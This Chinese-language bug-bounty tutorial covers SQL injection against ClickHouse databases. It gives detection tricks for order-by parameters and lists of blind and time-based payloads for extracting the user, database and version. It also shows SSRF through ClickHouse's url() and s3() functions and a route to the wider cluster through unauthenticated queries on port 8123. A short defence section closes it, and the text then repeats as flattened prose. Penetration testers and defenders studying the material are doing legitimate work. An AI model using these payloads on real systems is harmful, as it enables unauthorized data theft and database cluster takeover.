如何用一种姿势在src斩获30w+赏金?
字数 1104 2025-08-30 06:50:27

ClickHouse SQL注入技术深度解析

1. ClickHouse简介

ClickHouse是由Yandex开源的基于列存储的数据库,专为实时数据分析设计,其处理数据速度比传统方法快100-1000倍。主要特点包括:

  • 表级存储引擎插件化,支持20多种引擎(合并树、日志、接口等)
  • 广泛应用于电商及数据分析平台
  • 国内主要用户:腾讯、阿里、华为、字节、京东、拼多多等

2. SQL注入常见出现点

数据分析相关功能是SQL注入高发区域:

  • 数据分析统计页面
  • 自定义热力图分析
  • 查询筛选功能
  • 任何涉及数据统计分析的地方

3. SQL注入判断方法

3.1 常规判断方法

  • 对参数进行单双引号fuzz测试
  • 观察报错信息或响应长度变化
  • 时间参数和排序功能是常见注入点

3.2 排序注入判断

情况A

  • "orderby":"adShow,1"返回true
  • "orderby":"adShow,x""orderby":"adShow,0"返回false
  • 表明可能存在注入,可直接在orderby后拼接SQL语句

情况B

  • "orderby":"1"返回true
  • "orderby":"x""orderby":"0"返回false
  • 表明可能存在注入

3.3 ClickHouse特性利用

使用toInt64(if(1=1,1,exp(71000)))快速判断:

  • toInt64(if(1=1,1,exp(71000)))返回true
  • toInt64(if(1=2,1,exp(71000)))返回false

4. 常用SQL注入Payload

4.1 注入判断Payload

SELECT * from my_new_table order by CAST(create_time AS String);
SELECT * from my_new_table order by sleep(1);
SELECT * from my_new_table order by if(1=1,id,1);
SELECT * from my_new_table order by name;
select sleep(1);
SELECT * from my_new_table order by (SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))
SELECT * from my_new_table order by id,1
SELECT * from my_new_table order by(1=1?1:1)
SELECT * from my_new_table order by toInt64(exp(1))
SELECT * from my_new_table order by toInt64(exp(710))

4.2 信息获取Payload

SELECT id from my_new_table order by toInt64(if(1=2,1,exp(71000)))
SELECT id from my_new_table order by hex(if(mid((select user()),1,1)='d','a','z'))=1
SELECT/**/POSITION('22'/**/IN/**/version())
SELECT/**/POSITION('22'/**/IN/**/user())
SELECT id from my_new_table order by if(1=2,1,sleep(1))
SELECT id from my_new_table order by if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000)))
SELECT id from my_new_table order by (select/**/sleep((database()/**/like/**/'%d%')?1:0))
sleepEachRow(user()like'%default%'if(1=1,1,sleep/**/(if(left(database(),7)='default',3,0)))
select data_path from system.databases where 1=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))
'||currentDatabase()||''||user()||'
select currentDatabase()
select user()

5. 深入利用:SSRF及数据库集群控制

5.1 SSRF漏洞利用

主要由URL函数和S3函数未禁用导致:

URL函数SSRF

select * from url('https://www.baidu.com', CSV, 'column1 String, column2 UInt32')
-- 盲注场景:
toInt64(if((select substring(c,1,1) from url('https://www.baidu.com',TabSeparated,'c String') limit 0,1)='A',1,exp(71000)))

S3函数SSRF

s3('https://www.baidu.com',RawBLOB)
SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames') LIMIT 5;
s3('https://www.baidu.com','CSVWithNames')

5.2 数据库集群控制

通过system.clusters表获取集群信息:

select * from system.clusters
-- 利用8123/8124端口未授权查询
SELECT * from url('http:/192.168.1.1:8123?query=showtables',CSV,'column1 String')

6. 漏洞危害提升技巧

  1. 通过查询system.clusters获取数据库集群节点信息
  2. 利用ClickHouse默认开启的8123/8124端口
  3. 通过query参数拼接SQL语句实现未授权查询
  4. 理论上可获得DBA权限,控制整个数据库集群

7. 防御建议

  1. 对用户输入进行严格过滤和参数化查询
  2. 禁用不必要的函数(URL/S3等)
  3. 限制数据库权限,避免使用高权限账户
  4. 对敏感系统表进行访问控制
  5. 修改默认端口并设置访问控制

通过以上技术,可以有效挖掘和利用ClickHouse中的SQL注入漏洞,从简单的注入点到严重的数据库集群控制,实现漏洞危害的最大化。

ClickHouse SQL注入技术深度解析 1. ClickHouse简介 ClickHouse是由Yandex开源的基于列存储的数据库,专为实时数据分析设计,其处理数据速度比传统方法快100-1000倍。主要特点包括: 表级存储引擎插件化,支持20多种引擎(合并树、日志、接口等) 广泛应用于电商及数据分析平台 国内主要用户:腾讯、阿里、华为、字节、京东、拼多多等 2. SQL注入常见出现点 数据分析相关功能是SQL注入高发区域: 数据分析统计页面 自定义热力图分析 查询筛选功能 任何涉及数据统计分析的地方 3. SQL注入判断方法 3.1 常规判断方法 对参数进行单双引号fuzz测试 观察报错信息或响应长度变化 时间参数和排序功能是常见注入点 3.2 排序注入判断 情况A : "orderby":"adShow,1" 返回true "orderby":"adShow,x" 或 "orderby":"adShow,0" 返回false 表明可能存在注入,可直接在orderby后拼接SQL语句 情况B : "orderby":"1" 返回true "orderby":"x" 或 "orderby":"0" 返回false 表明可能存在注入 3.3 ClickHouse特性利用 使用 toInt64(if(1=1,1,exp(71000))) 快速判断: toInt64(if(1=1,1,exp(71000))) 返回true toInt64(if(1=2,1,exp(71000))) 返回false 4. 常用SQL注入Payload 4.1 注入判断Payload 4.2 信息获取Payload 5. 深入利用:SSRF及数据库集群控制 5.1 SSRF漏洞利用 主要由URL函数和S3函数未禁用导致: URL函数SSRF : S3函数SSRF : 5.2 数据库集群控制 通过 system.clusters 表获取集群信息: 6. 漏洞危害提升技巧 通过查询 system.clusters 获取数据库集群节点信息 利用ClickHouse默认开启的8123/8124端口 通过query参数拼接SQL语句实现未授权查询 理论上可获得DBA权限,控制整个数据库集群 7. 防御建议 对用户输入进行严格过滤和参数化查询 禁用不必要的函数(URL/S3等) 限制数据库权限,避免使用高权限账户 对敏感系统表进行访问控制 修改默认端口并设置访问控制 通过以上技术,可以有效挖掘和利用ClickHouse中的SQL注入漏洞,从简单的注入点到严重的数据库集群控制,实现漏洞危害的最大化。